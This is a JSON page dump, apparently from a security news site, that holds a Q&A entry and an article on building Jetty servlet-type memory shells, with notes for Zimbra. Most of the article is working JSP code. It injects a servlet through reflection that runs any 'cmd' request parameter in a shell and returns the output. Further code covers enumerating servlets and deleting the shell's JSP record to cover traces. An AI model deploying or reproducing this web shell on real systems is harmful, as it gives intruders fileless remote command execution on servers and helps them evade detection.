[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fylrIJ5FqgPhfvG3760N2zxs2HzvJHsp3ahazsp-r_-Q":3},{"id":4,"question":5,"answer":6,"answerHtml":7,"slug":8,"keywords":9,"article":10,"status":33,"aiModel":30,"aiConfidence":30,"updatedAt":49,"createdAt":49,"_status":48},775,"What special considerations are needed when implementing a Servlet type memory shell in a Zimbra environment?","In Zimbra, multiple threads may have a `WebAppClassLoader`, so the add-servlet logic must avoid premature exit based on the first match. The code should iterate through all threads without breaking on the first valid loader. Additionally, JSP instances in Zimbra are tracked under `rctxt->jsps`, which can affect testing. These environment-specific adjustments are discussed in the [Zimbra section of the article](\u002Fnews\u002Fjava-exploitation-techniques-jetty-servlet-type-memory-shell).","\u003Cp>In Zimbra, multiple threads may have a `WebAppClassLoader`, so the add-servlet logic must avoid premature exit based on the first match. The code should iterate through all threads without breaking on the first valid loader. Additionally, JSP instances in Zimbra are tracked under `rctxt-&gt;jsps`, which can affect testing. These environment-specific adjustments are discussed in the [Zimbra section of the article](\u002Fnews\u002Fjava-exploitation-techniques-jetty-servlet-type-memory-shell).\u003C\u002Fp>\u003Cp>\u003Ca href=\"\u002Fnews\u002Fjava-exploitation-techniques-jetty-servlet-type-memory-shell\">Read the related One Day Sec article\u003C\u002Fa>\u003C\u002Fp>","what-special-considerations-are-needed-when-implementing-a-servlet-type-memory-s-1777481829467","Zimbra, Jetty, memory shell, WebAppClassLoader, multi-thread, rctxt, jsps",{"id":11,"title":12,"slug":13,"description":14,"content":15,"contentHtml":27,"cover":30,"author":31,"views":19,"readingTime":32,"status":33,"publishedAt":34,"seo":35,"tags":39,"qaPairs":40,"meta":45,"updatedAt":46,"createdAt":47,"_status":48},190,"Java Exploitation Techniques - Jetty Servlet Type Memory Shell","java-exploitation-techniques-jetty-servlet-type-memory-shell","Learn how to exploit Jetty with Servlet memory shells for command execution. Includes code and implementation details for security testing.",{"root":16},{"type":17,"format":18,"indent":19,"version":20,"children":21,"direction":29},"root","",0,1,[22],{"type":23,"format":18,"indent":19,"version":20,"children":24,"direction":29},"paragraph",[25],{"mode":26,"text":27,"type":28,"style":18,"detail":19,"format":19,"version":20},"normal","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>The previous article introduced the implementation ideas and details of the Jetty Filter type memory shell. This article introduces the implementation ideas and details of the Jetty Servlet type memory shell.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>Implementation Ideas\u003C\u002Fli>\u003Cli>Implementation Code\u003C\u002Fli>\u003Cli>Servlet Type Memory Shell in Zimbra Environment\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Implementation Ideas\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Similarly, use Thread to obtain the webappclassloader, and then use reflection to call related methods to add a Servlet type memory shell.\u003C\u002Fp>\u003Ch2>0x03 Implementation Code\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. Add Servlet\u003C\u002Fh3>\u003Cp>The complete code available under Jetty is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>&lt;%@ page import=\"java.lang.reflect.Field\"%&gt;\u003Cbr>&lt;%@ page import=\"java.lang.reflect.Method\"%&gt;\u003Cbr>&lt;%@ page import=\"java.util.Scanner\"%&gt;\u003Cbr>&lt;%@ page import=\"java.io.*\"%&gt;\u003Cbr>&lt;%\u003Cbr>    String servletName = \"myServlet\";\u003Cbr>    String urlPattern = \"\u002Fservlet\";\u003Cbr>    Servlet servlet = new Servlet() {\u003Cbr>        @Override\u003Cbr>        public void init(ServletConfig servletConfig) throws ServletException {\u003Cbr>        }\u003Cbr>        @Override\u003Cbr>        public ServletConfig getServletConfig() {\u003Cbr>            return null;\u003Cbr>        }\u003Cbr>        @Override\u003Cbr>        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {\u003Cbr>            HttpServletRequest req = (HttpServletRequest) servletRequest;\u003Cbr>            if (req.getParameter(\"cmd\") != null) {\u003Cbr>                boolean isLinux = true;\u003Cbr>                String osTyp = System.getProperty(\"os.name\");\u003Cbr>                if (osTyp != null &amp;&amp; osTyp.toLowerCase().contains(\"win\")) {\u003Cbr>                    isLinux = false;\u003Cbr>                }\u003Cbr>                String[] cmds = isLinux ? new String[] {\"sh\", \"-c\", req.getParameter(\"cmd\")} : new String[] {\"cmd.exe\", \"\u002Fc\", req.getParameter(\"cmd\")};\u003Cbr>                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();\u003Cbr>                Scanner s = new Scanner(in).useDelimiter(\"\\\\a\");\u003Cbr>                String output = s.hasNext() ? s.next() : \"\"\u003Cbr>                servletResponse.getWriter().write(output);\u003Cbr>                servletResponse.getWriter().flush();\u003Cbr>                return;\u003Cbr>            }\u003Cbr>        }\u003Cbr>        @Override\u003Cbr>        public String getServletInfo() {\u003Cbr>            return null;\u003Cbr>        }\u003Cbr>        @Override\u003Cbr>        public void destroy() {\u003Cbr>        }\u003Cbr>    };\u003Cbr>    Method threadMethod = Class.forName(\"java.lang.Thread\").getDeclaredMethod(\"getThreads\");\u003Cbr>    threadMethod.setAccessible(true);\u003Cbr>    Thread[] threads = (Thread[]) threadMethod.invoke(null);\u003Cbr>    ClassLoader threadClassLoader = null;\u003Cbr>    for (Thread thread : threads)\u003Cbr>    {\u003Cbr>        threadClassLoader = thread.getContextClassLoader();\u003Cbr>        if(threadClassLoader != null){\u003Cbr>            if(threadClassLoader.toString().contains(\"WebAppClassLoader\")){\u003Cbr>                Field fieldContext = threadClassLoader.getClass().getDeclaredField(\"_context\");\u003Cbr>                fieldContext.setAccessible(true);\u003Cbr>                Object webAppContext = fieldContext.get(threadClassLoader);\u003Cbr>                Field fieldServletHandler = webAppContext.getClass().getSuperclass().getDeclaredField(\"_servletHandler\");\u003Cbr>                fieldServletHandler.setAccessible(true);\u003Cbr>                Object servletHandler = fieldServletHandler.get(webAppContext);\u003Cbr>                Field fieldServlets = servletHandler.getClass().getDeclaredField(\"_servlets\");\u003Cbr>                fieldServlets.setAccessible(true);\u003Cbr>                Object[] servlets = (Object[]) fieldServlets.get(servletHandler);\u003Cbr>                boolean flag = false;\u003Cbr>                for(Object s:servlets){\u003Cbr>                    Field fieldName = s.getClass().getSuperclass().getDeclaredField(\"_name\");\u003Cbr>                    fieldName.setAccessible(true);\u003Cbr>                    String name = (String) fieldName.get(s);\u003Cbr>                    if(name.equals(servletName)){\u003Cbr>                        flag = true;\u003Cbr>                        break;\u003Cbr>                    }\u003Cbr>                }\u003Cbr>                if(flag){\u003Cbr>                    out.println(\"[-] Servlet \" + servletName + \" exists.\u003Cbr>\");\u003Cbr>                    return;\u003Cbr>                }\u003Cbr>                out.println(\"[+] Add Servlet: \" + servletName + \"\u003Cbr>\");\u003Cbr>                out.println(\"[+] urlPattern: \" + urlPattern + \"\u003Cbr>\");\u003Cbr>                ClassLoader classLoader = servletHandler.getClass().getClassLoader();\u003Cbr>                Class sourceClazz = null;\u003Cbr>                Object holder = null;\u003Cbr>                Field field = null;\u003Cbr>                try{\u003Cbr>                    sourceClazz = classLoader.loadClass(\"org.eclipse.jetty.servlet.Source\");\u003Cbr>                    field = sourceClazz.getDeclaredField(\"JAVAX_API\");\u003Cbr>                    Method method = servletHandler.getClass().getMethod(\"newServletHolder\", sourceClazz);\u003Cbr>                    holder = method.invoke(servletHandler, field.get(null));\u003Cbr>                }catch(ClassNotFoundException e){\u003Cbr>                    sourceClazz = classLoader.loadClass(\"org.eclipse.jetty.servlet.BaseHolder$Source\");\u003Cbr>                    Method method = servletHandler.getClass().getMethod(\"newServletHolder\", sourceClazz);\u003Cbr>                    holder = method.invoke(servletHandler, Enum.valueOf(sourceClazz, \"JAVAX_API\"));\u003Cbr>                }\u003Cbr>                holder.getClass().getMethod(\"setName\", String.class).invoke(holder, servletName);\u003Cbr>                holder.getClass().getMethod(\"setServlet\", Servlet.class).invoke(holder, servlet);\u003Cbr>                servletHandler.getClass().getMethod(\"addServlet\", holder.getClass()).invoke(servletHandler, holder);\u003Cbr>                Class clazz = classLoader.loadClass(\"org.eclipse.jetty.servlet.ServletMapping\");\u003Cbr>                Object servletMapping = null;\u003Cbr>                try{\u003Cbr>                    servletMapping = clazz.getDeclaredConstructor(sourceClazz).newInstance(field.get(null));\u003Cbr>                }catch(NoSuchMethodException e){\u003Cbr>                    servletMapping = clazz.newInstance();\u003Cbr>                }\u003Cbr>                servletMapping.getClass().getMethod(\"setServletName\", String.class).invoke(servletMapping, servletName);\u003Cbr>                servletMapping.getClass().getMethod(\"setPathSpecs\", String[].class).invoke(servletMapping, new Object[]{new String[]{urlPattern}});\u003Cbr>                servletHandler.getClass().getMethod(\"addServletMapping\", clazz).invoke(servletHandler, servletMapping);\u003Cbr>            }     \u003Cbr>        }\u003Cbr>    }\u003Cbr>%&gt;\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>2. Enumerate Servlet\u003C\u002Fh3>\u003Ch4>(1) Enumerate Servlet by calling getServletRegistrations via the request object\u003C\u002Fh4>\u003Cp>The complete code available under Jetty is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>&lt;%@ page import=\"java.lang.reflect.Method \"%&gt;\u003Cbr>&lt;%\u003Cbr>    ServletContext servletContext = request.getServletContext();\u003Cbr>    Method m1 = servletContext.getClass().getSuperclass().getDeclaredMethod(\"getServletRegistrations\");\u003Cbr>    Object obj1 = m1.invoke(servletContext);\u003Cbr>    out.println(obj1); \u003Cbr>%&gt;\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The corresponding command is: request.getSession().getServletContext().getClass().getSuperclass().getDeclaredMethod(\"getServletRegistrations\").invoke(request.getSession().getServletContext())\u003C\u002Fp>\u003Ch4>(2) Obtain webappclassloader via Thread, and enumerate Servlet by reading the _servlets attribute through reflection\u003C\u002Fh4>\u003Cp>The complete code available under Jetty is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>&lt;%@ page import=\"java.lang.reflect.Field\"%&gt;\u003Cbr>&lt;%@ page import=\"java.lang.reflect.Method\"%&gt;\u003Cbr>&lt;%\u003Cbr>    Method threadMethod = Class.forName(\"java.lang.Thread\").getDeclaredMethod(\"getThreads\");\u003Cbr>    threadMethod.setAccessible(true);\u003Cbr>    Thread[] threads = (Thread[]) threadMethod.invoke(null);\u003Cbr>    ClassLoader threadClassLoader = null;\u003Cbr>\u003Cbr>    for (Thread thread:threads)\u003Cbr>    {\u003Cbr>        threadClassLoader = thread.getContextClassLoader();\u003Cbr>        if(threadClassLoader != null){\u003Cbr>            if(threadClassLoader.toString().contains(\"WebAppClassLoader\")){\u003Cbr>                Field fieldContext = threadClassLoader.getClass().getDeclaredField(\"_context\");\u003Cbr>                fieldContext.setAccessible(true);\u003Cbr>                Object webAppContext = fieldContext.get(threadClassLoader);\u003Cbr>                Field fieldServletHandler = webAppContext.getClass().getSuperclass().getDeclaredField(\"_servletHandler\");\u003Cbr>                fieldServletHandler.setAccessible(true);\u003Cbr>                Object servletHandler = fieldServletHandler.get(webAppContext);\u003Cbr>                Field fieldServlets = servletHandler.getClass().getDeclaredField(\"_servlets\");\u003Cbr>                fieldServlets.setAccessible(true);\u003Cbr>                Object[] servlets = (Object[]) fieldServlets.get(servletHandler);\u003Cbr>                boolean flag = false;\u003Cbr>                for(Object servlet:servlets){\u003Cbr>                    out.print(servlet + \"\u003Cbr>\");\u003Cbr>                }\u003Cbr>            }     \u003Cbr>        }\u003Cbr>    }\u003Cbr>%&gt;\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>This method may produce multiple duplicate results in Zimbra environments\u003C\u002Fp>\u003Ch2>0x04 Servlet-type Memory Shell in Zimbra Environment\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Zimbra has multiple threads named WebAppClassLoader, so when adding a Servlet, the judgment condition needs to be modified to avoid premature exit. This can be done by directly modifying the example code.\u003C\u002Fp>\u003Cp>Another issue to note when testing in Zimbra environments: All executed JSP instances are marked under rctxt-&gt;jsps. The test code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>&lt;%@ page import=\"java.lang.reflect.Field\" %&gt;\u003Cbr>&lt;%@ page import=\"java.util.concurrent.ConcurrentHashMap\" %&gt;\u003Cbr>&lt;%@ page import=\"java.util.*\" %&gt;\u003Cbr>&lt;%   \u003Cbr>    Field f = request.getClass().getDeclaredField(\"_scope\");\u003Cbr>    f.setAccessible(true);\u003Cbr>    Object conn1 = f.get(request);\u003Cbr>    f = conn1.getClass().getDeclaredField(\"_servlet\");\u003Cbr>    f.setAccessible(true);\u003Cbr>    Object conn2 = f.get(conn1);\u003Cbr>    f = conn2.getClass().getSuperclass().getDeclaredField(\"rctxt\");\u003Cbr>    f.setAccessible(true);\u003Cbr>    Object conn3 = f.get(conn2);\u003Cbr>    f = conn3.getClass().getDeclaredField(\"jsps\");\u003Cbr>    f.setAccessible(true);\u003Cbr>    ConcurrentHashMap conn4 = (ConcurrentHashMap)f.get(conn3);\u003Cbr>    Enumeration enu = conn4.keys();\u003Cbr>    while (enu.hasMoreElements()) {\u003Cbr>        out.println(enu.nextElement() + \"\u003Cbr>\");\u003Cbr>    }\u003Cbr>%&gt;\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Of course, we can delete the JSP instance corresponding to the memory shell through reflection. The test code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>&lt;%@ page import=\"java.lang.reflect.Field\" %&gt;\u003Cbr>&lt;%@ page import=\"java.util.concurrent.ConcurrentHashMap\" %&gt;\u003Cbr>&lt;%@ page import=\"java.util.*\" %&gt;\u003Cbr>&lt;%\u003Cbr>        \u003Cbr>    Field f = request.getClass().getDeclaredField(\"_scope\");\u003Cbr>    f.setAccessible(true);\u003Cbr>    Object conn1 = f.get(request);\u003Cbr>    f = conn1.getClass().getDeclaredField(\"_servlet\");\u003Cbr>    f.setAccessible(true);\u003Cbr>    Object conn2 = f.get(conn1);\u003Cbr>    f = conn2.getClass().getSuperclass().getDeclaredField(\"rctxt\");\u003Cbr>    f.setAccessible(true);\u003Cbr>    Object conn3 = f.get(conn2);\u003Cbr>    f = conn3.getClass().getDeclaredField(\"jsps\");\u003Cbr>    f.setAccessible(true);    \u003Cbr>    ConcurrentHashMap conn4 = (ConcurrentHashMap)f.get(conn3);  \u003Cbr>    conn4.remove(\"\u002FmyServlet.jsp\");\u003Cbr>%&gt;\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Whether it's a Filter-type memory shell or a Servlet-type memory shell, deleting the JSP instance corresponding to the memory shell does not affect its normal operation.\u003C\u002Fp>\u003Ch2>0x05 Exploitation Approach\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Similar to Filter-type memory shells, the advantage of Servlet-type memory shells is that they do not require writing to files, but they become ineffective upon server restart.\u003C\u002Fp>\u003Ch2>0x06 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article introduces the implementation approach and details of Jetty Servlet-type memory shells, provides testable code, and shares exploitation methods for the Zimbra environment.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","text","ltr",null,"Onedaysec",5,"published","2026-02-02T07:38:21.199Z",{"title":36,"description":14,"keywords":37,"ogImage":30,"canonicalUrl":30,"noIndex":38},"Jetty Servlet Memory Shell Exploit: Java Web App Security","Jetty Servlet memory shell, Java exploitation, web security, servlet injection, code execution",false,[],{"docs":41,"hasNextPage":38},[42,4,43,44],776,774,773,{"title":30,"description":30,"image":30},"2026-07-24T02:07:19.239Z","2026-07-23T16:02:04.561Z","draft","2026-07-23T16:14:40.104Z"]